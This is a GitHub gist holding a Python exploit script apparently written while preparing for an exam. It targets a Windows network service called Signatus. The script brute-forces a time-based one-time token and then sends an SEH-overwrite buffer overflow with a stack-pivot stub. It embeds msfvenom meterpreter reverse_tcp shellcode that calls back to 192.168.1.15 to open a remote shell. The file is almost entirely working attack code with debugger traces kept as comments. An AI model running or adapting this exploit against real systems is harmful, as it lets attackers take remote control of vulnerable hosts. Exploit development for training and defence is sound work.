Last active
February 10, 2022 18:51
-
-
Save dualfade/732e11f41e206d5c7107c02772486182 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# signatus_03.py -- | |
# dualfade | |
import sys | |
import time | |
import socket | |
from struct import pack | |
from optparse import OptionParser | |
# globals -- | |
# defs -- | |
def gen_otd(i): | |
""" generate one time dword (otd) -- """ | |
# 0x60ae13dd 81f226978274 xor edx, 0x74829726 ; token -- | |
# 0x60ae13e3 3bfa cmp edi, edx | |
# 0x60ae13e5 7419 je 0x60ae1400 | |
# 0x60ae13e7 68d432ae60 push str.received_incorrect_OTD__Badly_formed_packet_. ; 0x60ae32d4 | |
# 0x60ae13ec e87ffcffff call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func_60ae1070 | |
# 0x60ae13f1 83c404 add esp, 4 | |
# 0x60ae13f4 53 push ebx | |
# 0x60ae13f5 ff156030ae60 call dword [closesocket] ; 0x60ae3060 ; int closesocket(SOCKET s) | |
# 0x60ae13fb e9e5000000 jmp 0x60ae14e5 | |
# 0x60ae1400 680c33ae60 push str.correct_OTD_received. ; 0x60ae330c | |
# 0x60ae1405 e866fcffff call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func_60ae1070 | |
SECRET = 0x74829726 | |
# time.now + 59m 59s -- | |
# dont have time to figure this part out -- | |
# brute force pin time -- | |
# 3 days to exam; make sure nSeh works as planned -- | |
print("[info] time_t offset => %s" % i) | |
seconds = int(time.time()) + i | |
s = (seconds // 10) & 0xff | |
# seconds dword -- | |
# swiped -- | |
sec_d = s | (((s*s) >> 4) << 8) \ | |
| (((s*s*s) >> 8) << 16) | ((s*s*s*s) >> 12) << 24 | |
print(sec_d) | |
# xor -- | |
dx = (sec_d ^ SECRET) & 0xffffffff | |
print("[info] xor => %s" % hex(dx)) | |
# time based xor ?? -- | |
# eax=00003664 ebx=0000011c ecx=8e500000 edx=fd136676 esi=00000076 edi=74829726 | |
# eip=60ae13dd esp=006cff5c ebp=006cff70 iopl=0 nv up ei ng nz na po nc | |
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 | |
# Signatus+0x13dd: | |
# 60ae13dd 81f226978274 xor edx,74829726h | |
# 0:001> p | |
# eax=00003664 ebx=0000011c ecx=8e500000 edx=8991f150 esi=00000076 edi=74829726 | |
# eip=60ae13e3 esp=006cff5c ebp=006cff70 iopl=0 nv up ei ng nz na pe nc | |
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 | |
# Signatus+0x13e3: | |
# 60ae13e3 3bfa cmp edi,edx | |
# 0:001> p | |
# fd136676 == 4245907062 | |
# ret dword xor val -- | |
return dx | |
def w_sub_60AE10F0(): | |
""" opcodes 0x1 write --""" | |
# .text:60AE12AE 814 push offset aW ; "w" | |
# .text:60AE12B3 818 push offset FileName ; "C:\\Users\\Public\\signatus.log" | |
# .text:60AE12B8 81C call ds:fopen | |
# .text:60AE121A | |
# .text:60AE121A loc_60AE121A: ; Size | |
# .text:60AE121A 814 push 800h | |
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=3434 \ | |
# -b '\x00\x0a\x1a' -f python -v sc | xclipc | |
sc = b"\x90" * int(120) | |
sc += b"\xdd\xc5\xd9\x74\x24\xf4\xbb\xa8\x2d\xde\x4f\x5a\x33" | |
sc += b"\xc9\xb1\x59\x83\xc2\x04\x31\x5a\x15\x03\x5a\x15\x4a" | |
sc += b"\xd8\x22\xa7\x05\x23\xdb\x38\x79\x15\x09\xb1\x9c\x31" | |
sc += b"\x26\x90\x6e\x31\x6a\x19\x05\x17\x9f\x10\xe6\x97\x28" | |
sc += b"\x18\x3e\x23\x24\xb5\x0f\xf3\x65\xf9\x0e\x8f\x77\x2e" | |
sc += b"\xf0\xae\xb7\x23\xf1\xf7\x01\x49\x1e\xa5\xc6\x3a\xb2" | |
sc += b"\x5a\x62\x7e\x0e\x5a\xa4\xf4\x2e\x24\xc1\xcb\xda\x98" | |
sc += b"\xc8\x1b\xa9\x79\xeb\x10\xe5\x61\xbb\x27\x26\x14\xf2" | |
sc += b"\x5c\xf4\x26\xfa\xd4\x8f\x7d\x8f\xe6\x59\x4c\x4f\x29" | |
sc += b"\xaa\xa2\xe3\xab\xf3\x85\x1b\xde\x0f\xf6\xa6\xd9\xd4" | |
sc += b"\x84\x7c\x6f\xca\x2f\xf6\xd7\x2e\xd1\xdb\x8e\xa5\xdd" | |
sc += b"\x90\xc5\xe1\xc1\x27\x09\x9a\xfe\xac\xac\x4c\x77\xf6" | |
sc += b"\x8a\x48\xd3\xac\xb3\xc9\xb9\x03\xcb\x09\x65\xfb\x69" | |
sc += b"\x42\x84\xea\x0e\xab\x56\x13\x53\x3b\x9a\xde\x6c\xbb" | |
sc += b"\xb4\x69\x1e\x89\x1b\xc2\x88\xa1\xd4\xcc\x4f\xb0\xf3" | |
sc += b"\xee\x80\x7a\x93\x10\x21\x7a\xbd\xd6\x75\x2a\xd5\xff" | |
sc += b"\xf5\xa1\x25\xff\x23\x5f\x2c\x97\x0b\x37\x31\x68\xe4" | |
sc += b"\x45\x32\x7b\x9e\xc0\xd4\xd3\x0e\x82\x48\x94\xfe\x62" | |
sc += b"\x39\x7c\x15\x6d\x66\x9c\x16\xa4\x0f\x37\xf9\x10\x67" | |
sc += b"\xa0\x60\x39\xf3\x51\x6c\x94\x79\x51\xe6\x1c\x7d\x1c" | |
sc += b"\x0f\x55\x6d\x49\x68\x95\x6d\x8a\x1d\x95\x07\x8e\xb7" | |
sc += b"\xc2\xbf\x8c\xee\x24\x60\x6e\xc5\x37\x67\x90\x98\x01" | |
sc += b"\x13\xa7\x0e\x2d\x4b\xc8\xde\xad\x8b\x9e\xb4\xad\xe3" | |
sc += b"\x46\xed\xfe\x16\x89\x38\x93\x8a\x1c\xc3\xc5\x7f\xb6" | |
sc += b"\xab\xeb\xa6\xf0\x73\x14\x8d\x82\x74\xea\x53\xad\xdc" | |
sc += b"\x82\xab\xed\xdc\x52\xc6\xed\x8c\x3a\x1d\xc1\x23\x8a" | |
sc += b"\xde\xc8\x6b\x82\x55\x9d\xde\x33\x69\xb4\xbf\xed\x6a" | |
sc += b"\x3b\x64\x1e\x10\x34\x9b\xdf\xe5\x5c\xf8\xe0\xe5\x60" | |
sc += b"\xfe\xdd\x33\x59\x74\x20\x80\xde\x87\x17\xa5\x77\x02" | |
sc += b"\x57\xf9\x88\x07" | |
# var -- | |
shellcode = sc | |
# ret -- | |
return shellcode | |
def send_sploit(otd): | |
""" assemble payload -- """ | |
# opcodes -- | |
# 0x1 w; 0x2 r; 0x3 clear -- | |
# call badchars -- | |
shellcode = w_sub_60AE10F0() | |
# clear -- | |
# .text:60AE12A9 814 cmp edx, 3 | |
print("[info] => clear") | |
buf = pack("<I", otd) | |
buf += pack("<I", (0x3)) | |
send_buf(buf) | |
# write -- | |
# .text:60AE121A 814 push 800h | |
print("[info] => write a") | |
buf = pack("<I", otd) | |
buf += pack("<I", (0x1)) | |
buf += b"\x41" * int(2048 - len(shellcode)) | |
buf += shellcode | |
send_buf(buf) | |
# write x2 -- | |
print("[info] => write b") | |
seh_buf = pack("<I", otd) | |
seh_buf += pack("<I", (0x1)) | |
# crash -- | |
# offset @133 -- | |
# - 4 bytes for opcode -- | |
seh_buf += b"\x42" * int(129) | |
# buf += b"\x43" * int(8) | |
# 0:003> u eip L1 | |
# 0098ffcc eb06 jmp 0098ffd4 | |
seh_buf += b"\xEB\x06\x90\x90" # nSeh; | |
seh_buf += pack("<L", 0x60ae1b2b) # Seh; pop ecx ; pop ecx ; ret | |
# ref -- | |
# https://bit.ly/3uzxvz1 -- | |
seh_buf += b"\xB8\xC0\xF7\xFF\xFF" # mov eax, 0xfffff7c0; 1984 bytes; WarGames ! | |
seh_buf += b"\xF7\xD8" # neg eax | |
seh_buf += b"\x01\xC4" # add esp, eax | |
seh_buf += b"\xFF\xE4" # jmp esp | |
seh_buf += b"\x44" * int(64) | |
send_buf(seh_buf) | |
# finally -- | |
# read; trigger vuln -- | |
print("[info] => read") | |
buf = pack("<I", otd) | |
buf += pack("<I", (0x2)) | |
send_buf(buf) | |
def send_buf(buf): | |
""" socket -- """ | |
port = int(options.port) | |
target = str(options.target) | |
try: | |
# connect / send payload -- | |
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(('%s' % target, port)) | |
print("[info] sending => %s" % buf) | |
s.send(buf) | |
resp = s.recv(1024) | |
# resp -- | |
print("[i] resp => %s" % resp) | |
# close -- | |
s.close() | |
print('[info] done') | |
except socket.error as e: | |
print('[err] socket error: %s' % e) | |
sys.exit(-1) | |
except KeyboardInterrupt: | |
print("\n[warn] keyboard interrupt called !") | |
print("[warn] exiting.") | |
sys.exit(-1) | |
# main -- | |
if __name__ == "__main__": | |
""" get parser opts -- """ | |
parser = OptionParser() | |
parser.add_option('-t', '--target', dest='target', help='target ip address') | |
parser.add_option('-p', '--port', dest='port', help='port') | |
try: | |
(options, args) = parser.parse_args() | |
if (options.target): | |
""" send payload to target -- """ | |
print('[info] starting exploit') | |
for i in range(1, 3600): | |
otd = gen_otd(i) | |
send_sploit(otd) | |
else: | |
print('[err] missing input') | |
print('[err] exiting') | |
sys.exit(-1) | |
except SystemExit: | |
sys.stdout.write("\n") | |
sys.stdout.flush() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment